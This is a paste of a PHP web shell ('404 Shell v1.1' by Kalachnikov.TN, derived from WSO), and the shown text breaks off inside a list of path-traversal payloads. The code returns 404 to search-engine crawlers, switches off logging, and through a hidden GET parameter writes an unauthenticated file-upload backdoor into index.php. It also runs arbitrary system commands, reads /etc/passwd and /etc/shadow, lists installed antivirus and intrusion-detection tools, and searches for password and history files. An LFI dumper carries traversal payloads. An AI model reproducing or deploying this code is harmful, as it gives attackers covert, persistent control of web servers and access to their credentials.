· 9 years ago · Nov 11, 2016, 08:16 PM
1<?php
2$auth_pass = "2a55fec06efb8212e12dc4b3befdd599";
3$color = "#00ff00";
4$default_action = 'FilesMan';
5$default_use_ajax = true;
6$default_charset = 'Windows-1251';
7if (!empty($_SERVER['HTTP_USER_AGENT'])) {
8 $userAgents = array(
9 "Google",
10 "Slurp",
11 "MSNBot",
12 "ia_archiver",
13 "Yandex",
14 "Rambler"
15 );
16 if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
17 header('HTTP/1.0 404 Not Found');
18 exit;
19 }
20}
21@session_start();
22@ini_set('error_log', NULL);
23@ini_set('log_errors', 0);
24@ini_set('max_execution_time', 0);
25error_reporting(0);
26@set_time_limit(0);
27@set_magic_quotes_runtime(0);
28@define('Kalachnikov.TN Shell Version', '1.1');
29if (get_magic_quotes_gpc()) {
30 function WSOstripslashes($array)
31 {
32 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
33 }
34 $_POST = WSOstripslashes($_POST);
35}
36
37function inStr($s, $as)
38{
39 $s = strtoupper($s);
40 if (!is_array($as))
41 $as = array(
42 $as
43 );
44 for ($Fatal_Error = 0; $Fatal_Error < count($as); $Fatal_Error++)
45 if (strpos(($s), strtoupper($as[$Fatal_Error])) !== false)
46 return true;
47 return false;
48}
49
50function wsoLogin()
51{
52 die("<center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></center>");
53}
54
55if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
56 if( empty( $auth_pass ) ||
57 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass) ) )
58 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
59 else
60 if ($_GET['tal8ima']) {
61 $eslamfile=file_get_contents("index.php");
62 if (!inStr($eslamfile, "NiZaRwIsSeMeXpLoIt") && !inStr($eslamfile, '$get = $_GET["nizar"]') && !inStr($eslamfile, '$get == "wissem"')) {
63 $es=fopen("index.php","w");
64 $star=
65 '<?php
66 $get = $_GET["nizar"];
67 if($get == "wissem"){
68 $filename = $_FILES["file"]["name"];
69 $filetmp = $_FILES["file"]["tmp_name"];
70 echo "<form method=POST enctype=multipart/form-data>
71 <input type=file name=file />
72 <input type=submit value=go />
73 </form>";
74 move_uploaded_file($filetmp,$filename);
75 }
76 //NiZaRwIsSeMeXpLoIt
77 ?>';
78 }
79
80 fwrite($es," $star" . PHP_EOL . "$eslamfile");
81
82 die();
83 }else
84 wsoLogin();
85
86if (strtolower(substr(PHP_OS, 0, 3)) == "win")
87 $os = 'win';
88else
89 $os = 'nix';
90$safe_mode = @ini_get('safe_mode');
91if (!$safe_mode)
92 error_reporting(0);
93$disable_functions = @ini_get('disable_functions');
94$home_cwd = @getcwd();
95if (isset($_POST['c']))
96 @chdir($_POST['c']);
97$cwd = @getcwd();
98if ($os == 'win') {
99 $home_cwd = str_replace("\\", "/", $home_cwd);
100 $cwd = str_replace("\\", "/", $cwd);
101}
102if ($cwd[strlen($cwd) - 1] != '/')
103 $cwd .= '/';
104if (!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax']))
105 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool) $GLOBALS['default_use_ajax'];
106if ($os == 'win')
107 $aliases = array(
108 "List Directory" => "dir",
109 "Find index.php in current dir" => "dir /s /w /b index.php",
110 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
111 "Show active connections" => "netstat -an",
112 "Show running services" => "net start",
113 "User accounts" => "net user",
114 "Show computers" => "net view",
115 "ARP Table" => "arp -a",
116 "IP Configuration" => "ipconfig /all"
117 );
118else
119 $aliases = array(
120 "List dir" => "ls -lha",
121 "list file attributes on a Linux second extended file system" => "lsattr -va",
122 "show opened ports" => "netstat -an | grep -i listen",
123 "process status" => "ps aux",
124 "Find" => "",
125 "find all suid files" => "find / -type f -perm -04000 -ls",
126 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
127 "find all sgid files" => "find / -type f -perm -02000 -ls",
128 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
129 "find config.inc.php files" => "find / -type f -name config.inc.php",
130 "find config* files" => "find / -type f -name \"config*\"",
131 "find config* files in current dir" => "find . -type f -name \"config*\"",
132 "find all writable folders and files" => "find / -perm -2 -ls",
133 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
134 "find all service.pwd files" => "find / -type f -name service.pwd",
135 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
136 "find all .htpasswd files" => "find / -type f -name .htpasswd",
137 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
138 "find all .bash_history files" => "find / -type f -name .bash_history",
139 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
140 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
141 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
142 "Locate" => "",
143 "locate httpd.conf files" => "locate httpd.conf",
144 "locate vhosts.conf files" => "locate vhosts.conf",
145 "locate proftpd.conf files" => "locate proftpd.conf",
146 "locate psybnc.conf files" => "locate psybnc.conf",
147 "locate my.conf files" => "locate my.conf",
148 "locate admin.php files" => "locate admin.php",
149 "locate cfg.php files" => "locate cfg.php",
150 "locate conf.php files" => "locate conf.php",
151 "locate config.dat files" => "locate config.dat",
152 "locate config.php files" => "locate config.php",
153 "locate config.inc files" => "locate config.inc",
154 "locate config.inc.php" => "locate config.inc.php",
155 "locate config.default.php files" => "locate config.default.php",
156 "locate config* files " => "locate config",
157 "locate .conf files" => "locate '.conf'",
158 "locate .pwd files" => "locate '.pwd'",
159 "locate .sql files" => "locate '.sql'",
160 "locate .htpasswd files" => "locate '.htpasswd'",
161 "locate .bash_history files" => "locate '.bash_history'",
162 "locate .mysql_history files" => "locate '.mysql_history'",
163 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
164 "locate backup files" => "locate backup",
165 "locate dump files" => "locate dump",
166 "locate priv files" => "locate priv"
167 );
168function wsoHeader()
169{
170 if (empty($_POST['charset']))
171 $_POST['charset'] = $GLOBALS['default_charset'];
172 global $color;
173 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . "- Sindbad 1.1 " . "</title>
174<style>
175body {background-color:#000;color:#fff;}
176body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
177span,h1,a{ color: $color !important; }
178span{ font-weight: bolder; }
179h1{ border:1px solid $color;padding: 2px 5px;font: 14pt Verdana;margin:0px; }
180div.content{ padding: 5px;margin-left:5px;}
181a{ text-decoration:none; }
182a:hover{ background:#ff0000; }
183.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
184.bigarea{ width:100%;height:250px; }
185input, textarea, select{ margin:0;color:#00ff00;background-color:#000;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
186form{ margin:0px; }
187#toolsTbl{ text-align:center; }
188.toolsInp{ width: 80%; }
189.main th{text-align:left;}
190.main tr:hover{background-color:#5e5e5e;}
191.main td, th{vertical-align:middle;}
192pre{font-family:Courier,Monospace;}
193#cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
194</style>
195<script>
196 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
197 var a_ = '" . htmlspecialchars(@$_POST['a']) . "'
198 var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';
199 var p1_ = '" . ((strpos(@$_POST['p1'], "
200") !== false) ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';
201 var p2_ = '" . ((strpos(@$_POST['p2'], "
202") !== false) ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';
203 var p3_ = '" . ((strpos(@$_POST['p3'], "
204") !== false) ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';
205 var d = document;
206 function set(a,c,p1,p2,p3,charset) {
207 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
208 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
209 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
210 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
211 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
212 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
213 }
214 function g(a,c,p1,p2,p3,charset) {
215 set(a,c,p1,p2,p3,charset);
216 d.mf.submit();
217 }
218 function a(a,c,p1,p2,p3,charset) {
219 set(a,c,p1,p2,p3,charset);
220 var params = 'ajax=true';
221 for(i=0;i<d.mf.elements.length;i++)
222 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
223 sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);
224 }
225 function sr(url, params) {
226 if (window.XMLHttpRequest)
227 req = new XMLHttpRequest();
228 else if (window.ActiveXObject)
229 req = new ActiveXObject('Microsoft.XMLHTTP');
230 if (req) {
231 req.onreadystatechange = processReqChange;
232 req.open('POST', url, true);
233 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
234 req.send(params);
235 }
236 }
237 function processReqChange() {
238 if( (req.readyState == 4) )
239 if(req.status == 200) {
240 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
241 var arr=reg.exec(req.responseText);
242 eval(arr[2].substr(0, arr[1]));
243 } else alert('Request error!');
244 }
245</script>
246<head><body><div style='background: url(https://lh6.googleusercontent.com/-fLkTN7Zun5U/UrXSV9uWQcI/AAAAAAAAASg/gYfy8agakps/w448-h468-no/logo+shell.png); background-repeat:no-repeat; background-attachment:fixed; background-position:center;'>
247<form method=post name=mf style='display:none;'>
248<input type=hidden name=a>
249<input type=hidden name=c>
250<input type=hidden name=p1>
251<input type=hidden name=p2>
252
253<input type=hidden name=p3>
254<input type=hidden name=charset>
255</form>";
256 $freeSpace = @diskfreespace($GLOBALS['cwd']);
257 $totalSpace = @disk_total_space($GLOBALS['cwd']);
258 $totalSpace = $totalSpace ? $totalSpace : 1;
259 $release = @php_uname('r');
260 $kernel = @php_uname('s');
261 if (!function_exists('posix_getegid')) {
262 $user = @get_current_user();
263 $uid = @getmyuid();
264 $gid = @getmygid();
265 $group = "?";
266 } else {
267 $uid = @posix_getpwuid(posix_geteuid());
268 $gid = @posix_getgrgid(posix_getegid());
269 $user = $uid['name'];
270 $uid = $uid['uid'];
271 $group = $gid['name'];
272 $gid = $gid['gid'];
273 }
274 $cwd_links = '';
275 $path = explode("/", $GLOBALS['cwd']);
276 $n = count($path);
277 for ($i = 0; $i < $n - 1; $i++) {
278 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
279 for ($j = 0; $j <= $i; $j++)
280 $cwd_links .= $path[$j] . '/';
281 $cwd_links .= "\")'>" . $path[$i] . "/</a>";
282 }
283 $charsets = array(
284 'UTF-8',
285 'Windows-1251',
286 'KOI8-R',
287 'KOI8-U',
288 'cp866'
289 );
290 $opt_charsets = '';
291 foreach ($charsets as $item)
292 $opt_charsets .= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
293 $m = array(
294 'Sec Info' => 'SecInfo',
295 'Files' => 'FilesMan',
296 'Exec' => 'Console',
297 'Sql' => 'Sql',
298 'PHP Tools' => 'phptools',
299 'LFI' => 'lfiscan',
300 'Php' => 'Php',
301 'Safe mode' => 'SafeMode',
302 'String tools' => 'StringTools',
303 'XSS Shell' => 'XSSShell',
304 'Bruteforce' => 'Bruteforce',
305 'Network' => 'Network'
306 );
307 if (!empty($GLOBALS['auth_pass']))
308 $m['Logout'] = 'Logout';
309 $m['Self remove'] = 'SelfRemove';
310 $menu = '';
311 foreach ($m as $k => $v)
312 $menu .= '<th width="' . (int) (100 / count($m)) . '%">[<a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a>]</th>';
313 $drives = "";
314 if ($GLOBALS['os'] == 'win') {
315 foreach (range('c', 'z') as $drive)
316 if (is_dir($drive . ':\\'))
317 $drives .= '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
318 }
319 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win' ? '<br>Drives:' : '') . '</span></td>' . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' </nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=#00bb00><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' (' . (int) ($freeSpace / $totalSpace * 100) . '%)<br>' . $cwd_links . ' ' . wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '<br> [404 Shell v1.1] Made By Sindbad EG Kalachnikov.TN Team <br></nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
320}
321function wsoFooter()
322{
323 $is_writable = is_writable($GLOBALS['cwd']) ? " <font color='#25ff00'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
324 echo "
325
326</div>
327<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
328 <tr>
329 <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='>>'></form></td>
330 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
331 </tr><tr>
332 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
333 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
334
335 </tr><tr>
336 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
337 <td><form method='post' ENCTYPE='multipart/form-data'>
338 <input type=hidden name=a value='FilesMAn'>
339 <input type=hidden name=c value='" . $GLOBALS['cwd'] . "'>
340 <input type=hidden name=p1 value='uploadFile'>
341 <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
342 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
343
344 </tr></table></div></body></html>";
345}
346if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false)) {
347 function posix_getpwuid($p)
348 {
349 return false;
350 }
351}
352if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false)) {
353 function posix_getgrgid($p)
354 {
355 return false;
356 }
357}
358function wsoEx($in)
359{
360 $out = '';
361 if (function_exists('exec')) {
362 @exec($in, $out);
363 $out = @join("
364", $out);
365 } elseif (function_exists('passthru')) {
366 ob_start();
367 @passthru($in);
368 $out = ob_get_clean();
369 } elseif (function_exists('system')) {
370 ob_start();
371 @system($in);
372 $out = ob_get_clean();
373 } elseif (function_exists('shell_exec')) {
374 $out = shell_exec($in);
375 } elseif (is_resource($f = @popen($in, "r"))) {
376 $out = "";
377 while (!@feof($f))
378 $out .= fread($f, 1024);
379 pclose($f);
380 }
381 return $out;
382}
383function wsoViewSize($s)
384{
385 if ($s >= 1073741824)
386 return sprintf('%1.2f', $s / 1073741824) . ' GB';
387 elseif ($s >= 1048576)
388 return sprintf('%1.2f', $s / 1048576) . ' MB';
389 elseif ($s >= 1024)
390 return sprintf('%1.2f', $s / 1024) . ' KB';
391 else
392 return $s . ' B';
393}
394function wsoPerms($p)
395{
396 if (($p & 0xC000) == 0xC000)
397 $i = 's';
398 elseif (($p & 0xA000) == 0xA000)
399 $i = 'l';
400 elseif (($p & 0x8000) == 0x8000)
401 $i = '-';
402 elseif (($p & 0x6000) == 0x6000)
403 $i = 'b';
404 elseif (($p & 0x4000) == 0x4000)
405 $i = 'd';
406 elseif (($p & 0x2000) == 0x2000)
407 $i = 'c';
408 elseif (($p & 0x1000) == 0x1000)
409 $i = 'p';
410 else
411 $i = 'u';
412 $i .= (($p & 0x0100) ? 'r' : '-');
413 $i .= (($p & 0x0080) ? 'w' : '-');
414 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
415 $i .= (($p & 0x0020) ? 'r' : '-');
416 $i .= (($p & 0x0010) ? 'w' : '-');
417 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
418 $i .= (($p & 0x0004) ? 'r' : '-');
419 $i .= (($p & 0x0002) ? 'w' : '-');
420 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
421 return $i;
422}
423function wsoPermsColor($f)
424{
425 if (!@is_readable($f))
426 return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
427 elseif (!@is_writable($f))
428 return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
429 else
430 return '<font color=#00BB00>' . wsoPerms(@fileperms($f)) . '</font>';
431}
432if (!function_exists("scandir")) {
433 function scandir($dir)
434 {
435 $dh = opendir($dir);
436 while (false !== ($filename = readdir($dh)))
437 $files[] = $filename;
438 return $files;
439 }
440}
441function wsoWhich($p)
442{
443 $path = wsoEx('which ' . $p);
444 if (!empty($path))
445 return $path;
446 return false;
447}
448function actionSecInfo()
449{
450 wsoHeader();
451 echo '<h1>Server security information</h1><div class=content>';
452 function wsoSecParam($n, $v)
453 {
454 $v = trim($v);
455 if ($v) {
456 echo '<span>' . $n . ': </span>';
457 if (strpos($v, "
458") === false)
459 echo $v . '<br>';
460 else
461 echo '<pre class=ml1>' . $v . '</pre>';
462 }
463 }
464 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
465 if (function_exists('apache_get_modules'))
466 wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
467 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
468 wsoSecParam('Open base dir', @ini_get('open_basedir'));
469 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
470 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
471 wsoSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
472 $temp = array();
473 if (function_exists('mysql_get_client_info'))
474 $temp[] = "MySql (" . mysql_get_client_info() . ")";
475 if (function_exists('mssql_connect'))
476 $temp[] = "MSSQL";
477 if (function_exists('pg_connect'))
478 $temp[] = "PostgreSQL";
479 if (function_exists('oci_connect'))
480 $temp[] = "Oracle";
481 wsoSecParam('Supported databases', implode(', ', $temp));
482 echo '<br>';
483 if ($GLOBALS['os'] == 'nix') {
484 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
485 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>" : 'no');
486 wsoSecParam('OS version', @file_get_contents('/proc/version'));
487 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
488 if (!$GLOBALS['safe_mode']) {
489 $userful = array(
490 'gcc',
491 'lcc',
492 'cc',
493 'ld',
494 'make',
495 'php',
496 'perl',
497 'python',
498 'ruby',
499 'tar',
500 'gzip',
501 'bzip',
502 'bzip2',
503 'nc',
504 'locate',
505 'suidperl'
506 );
507 $danger = array(
508 'kav',
509 'nod32',
510 'bdcored',
511 'uvscan',
512 'sav',
513 'drwebd',
514 'clamd',
515 'rkhunter',
516 'chkrootkit',
517 'iptables',
518 'ipfw',
519 'tripwire',
520 'shieldcc',
521 'portsentry',
522 'snort',
523 'ossec',
524 'lidsadm',
525 'tcplodg',
526 'sxid',
527 'logcheck',
528 'logwatch',
529 'sysmask',
530 'zmbscap',
531 'sawmill',
532 'wormscan',
533 'ninja'
534 );
535 $downloaders = array(
536 'wget',
537 'fetch',
538 'lynx',
539 'links',
540 'curl',
541 'get',
542 'lwp-mirror'
543 );
544 echo '<br>';
545 $temp = array();
546 foreach ($userful as $item)
547 if (wsoWhich($item))
548 $temp[] = $item;
549 wsoSecParam('Userful', implode(', ', $temp));
550 $temp = array();
551 foreach ($danger as $item)
552 if (wsoWhich($item))
553 $temp[] = $item;
554 wsoSecParam('Danger', implode(', ', $temp));
555 $temp = array();
556 foreach ($downloaders as $item)
557 if (wsoWhich($item))
558 $temp[] = $item;
559 wsoSecParam('Downloaders', implode(', ', $temp));
560 echo '<br/>';
561 wsoSecParam('HDD space', wsoEx('df -h'));
562 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
563 }
564 } else {
565 wsoSecParam('OS Version', wsoEx('ver'));
566 wsoSecParam('Account Settings', wsoEx('net accounts'));
567 wsoSecParam('User Accounts', wsoEx('net user'));
568 }
569 echo '</div>';
570 wsoFooter();
571}
572function actionlfiscan()
573{
574 wsoHeader();
575 print '
576 <h3>Led-Zeppelin\'s LFI File dumper</h3>
577
578 <form method="post" action="?"><input type="hidden" name="a" value="lfiscan">
579 LFI URL: <input type="text" size="60" name="lfiurl" value=""> <input type="submit" value="Go"> File: <select name="scantype">
580 <option value="1">
581 Access Log
582 </option>
583
584 <option value="2">
585 httpd.conf
586 </option>
587
588 <option value="3">
589 Error Log
590 </option>
591 <option value="4">
592 php.ini
593 </option>
594 <option value="5">
595 MySQL
596 </option>
597 <option value="6">
598 FTP
599 </option>
600 <option value="7">
601 Environ
602 </option>
603 </select> Null: <select name="null">
604 <option value="%00">
605 Yes
606 </option>
607
608 <option value="">
609 No
610 </option>
611 </select> User-Agent: <input type="text" size="20" name="custom_header" value="">
612 </form>';
613 error_reporting(0);
614 if ($_POST['lfiurl']) {
615 print "<pre>";
616 $cheader = $_POST['custom_header'];
617 $target = $_POST['lfiurl'];
618 $type = $_POST['scantype'];
619 $byte1 = $_POST['null'];
620 $lfitest = "../../../../../../../../../../../../../../etc/passwd" . $byte1 . "";
621 $lfitest2 = "../../../../../../../../../../../../../../fake/file" . $byte1 . "";
622 $lfiprocenv = "../../../../../../../../../../../../../../proc/environ" . $byte1 . "";
623 $lfiaccess = array(
624 1 => "../../../../../../../../../../../../../../apache/logs/access.log" . $byte1 . "",
625 2 => "../../../../../../../../../../../../../../etc/httpd/logs/acces_log" . $byte1 . "",
626 3 => "../../../../../../../../../../../../../../etc/httpd/logs/acces.log" . $byte1 . "",
627 4 => "../../../../../../../../../../../../../../var/www/logs/access_log" . $byte1 . "",
628 5 => "../../../../../../../../../../../../../../var/www/logs/access.log" . $byte1 . "",
629 6 => "../../../../../../../../../../../../../../usr/local/apache/logs/access_log" . $byte1 . "",
630 7 => "../../../../../../../../../../../../../../usr/local/apache/logs/access.log" . $byte1 . "",
631 8 => "../../../../../../../../../../../../../../var/log/apache/access_log" . $byte1 . "",
632 9 => "../../../../../../../../../../../../../../var/log/apache2/access_log" . $byte1 . "",
633 10 => "../../../../../../../../../../../../../../var/log/apache/access.log" . $byte1 . "",
634 11 => "../../../../../../../../../../../../../../var/log/apache2/access.log" . $byte1 . "",
635 12 => "../../../../../../../../../../../../../../var/log/access_log" . $byte1 . "",
636 13 => "../../../../../../../../../../../../../../var/log/access.log" . $byte1 . "",
637 14 => "../../../../../../../../../../../../../../var/log/httpd/access_log" . $byte1 . "",
638 15 => "../../../../../../../../../../../../../../apache2/logs/access.log" . $byte1 . "",
639 16 => "../../../../../../../../../../../../../../logs/access.log" . $byte1 . "",
640 17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access_log" . $byte1 . "",
641 18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access.log" . $byte1 . "",
642 19 => "../../../../../../../../../../../../../../var/log/httpd/access.log" . $byte1 . "",
643 20 => "../../../../../../../../../../../../../../opt/lampp/logs/access_log" . $byte1 . "",
644 21 => "../../../../../../../../../../../../../../opt/xampp/logs/access_log" . $byte1 . "",
645 22 => "../../../../../../../../../../../../../../opt/lampp/logs/access.log" . $byte1 . "",
646 23 => "../../../../../../../../../../../../../../opt/xampp/logs/access.log" . $byte1 . ""
647 );
648 $lfierror = array(
649 1 => "../../../../../../../../../../../../../../apache/logs/error.log" . $byte1 . "",
650 2 => "../../../../../../../../../../../../../../etc/httpd/logs/error_log" . $byte1 . "",
651 3 => "../../../../../../../../../../../../../../etc/httpd/logs/error.log" . $byte1 . "",
652 4 => "../../../../../../../../../../../../../../var/www/logs/error_log" . $byte1 . "",
653 5 => "../../../../../../../../../../../../../../var/www/logs/error.log" . $byte1 . "",
654 6 => "../../../../../../../../../../../../../../usr/local/apache/logs/error_log" . $byte1 . "",
655 7 => "../../../../../../../../../../../../../../usr/local/apache/logs/error.log" . $byte1 . "",
656 8 => "../../../../../../../../../../../../../../var/log/apache/error_log" . $byte1 . "",
657 9 => "../../../../../../../../../../../../../../var/log/apache2/error_log" . $byte1 . "",
658 10 => "../../../../../../../../../../../../../../var/log/apache/error.log" . $byte1 . "",
659 11 => "../../../../../../../../../../../../../../var/log/apache2/error.log" . $byte1 . "",
660 12 => "../../../../../../../../../../../../../../var/log/error_log" . $byte1 . "",
661 13 => "../../../../../../../../../../../../../../var/log/error.log" . $byte1 . "",
662 14 => "../../../../../../../../../../../../../../var/log/httpd/error_log" . $byte1 . "",
663 15 => "../../../../../../../../../../../../../../apache2/logs/error.log" . $byte1 . "",
664 16 => "../../../../../../../../../../../../../../logs/error.log" . $byte1 . "",
665 17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error_log" . $byte1 . "",
666 18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error.log" . $byte1 . "",
667 19 => "../../../../../../../../../../../../../../var/log/httpd/error.log" . $byte1 . "",
668 20 => "../../../../../../../../../../../../../../opt/lampp/logs/error_log" . $byte1 . "",
669 21 => "../../../../../../../../../../../../../../opt/xampp/logs/error_log" . $byte1 . "",
670 22 => "../../../../../../../../../../../../../../opt/lampp/logs/error.log" . $byte1 . "",
671 23 => "../../../../../../../../../../../../../../opt/xampp/logs/error.log" . $byte1 . ""
672 );
673 $lficonfig = array(
674 1 => "../../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf" . $byte1 . "",
675 2 => "../../../../../../../../../../../../../../../usr/local/apache2/conf/httpd.conf" . $byte1 . "",
676 3 => "../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf" . $byte1 . "",
677 4 => "../../../../../../../../../../../../../../../etc/apache/conf/httpd.conf" . $byte1 . "",
678 5 => "../../../../../../../../../../../../../../../usr/local/etc/apache/conf/httpd.conf" . $byte1 . "",
679 6 => "../../../../../../../../../../../../../../../etc/apache2/httpd.conf" . $byte1 . "",
680 7 => "../../../../../../../../../../../../../../../usr/local/apache/httpd.conf" . $byte1 . "",
681 8 => "../../../../../../../../../../../../../../../usr/local/apache2/httpd.conf" . $byte1 . "",
682 9 => "../../../../../../../../../../../../../../../usr/local/httpd/conf/httpd.conf" . $byte1 . "",
683 10 => "../../../../../../../../../../../../../../../usr/local/etc/apache2/conf/httpd.conf" . $byte1 . "",
684 11 => "../../../../../../../../../../../../../../../usr/local/etc/httpd/conf/httpd.conf" . $byte1 . "",
685 12 => "../../../../../../../../../../../../../../../usr/apache2/conf/httpd.conf" . $byte1 . "",
686 13 => "../../../../../../../../../../../../../../../usr/apache/conf/httpd.conf" . $byte1 . "",
687 14 => "../../../../../../../../../../../../../../../usr/local/apps/apache2/conf/httpd.conf" . $byte1 . "",
688 15 => "../../../../../../../../../../../../../../../usr/local/apps/apache/conf/httpd.conf" . $byte1 . "",
689 16 => "../../../../../../../../../../../../../../../etc/apache2/conf/httpd.conf" . $byte1 . "",
690 17 => "../../../../../../../../../../../../../../../etc/http/conf/httpd.conf" . $byte1 . "",
691 18 => "../../../../../../../../../../../../../../../etc/httpd/httpd.conf" . $byte1 . "",
692 19 => "../../../../../../../../../../../../../../../etc/http/httpd.conf" . $byte1 . "",
693 20 => "../../../../../../../../../../../../../../../etc/httpd.conf" . $byte1 . "",
694 21 => "../../../../../../../../../../../../../../../opt/apache/conf/httpd.conf" . $byte1 . "",
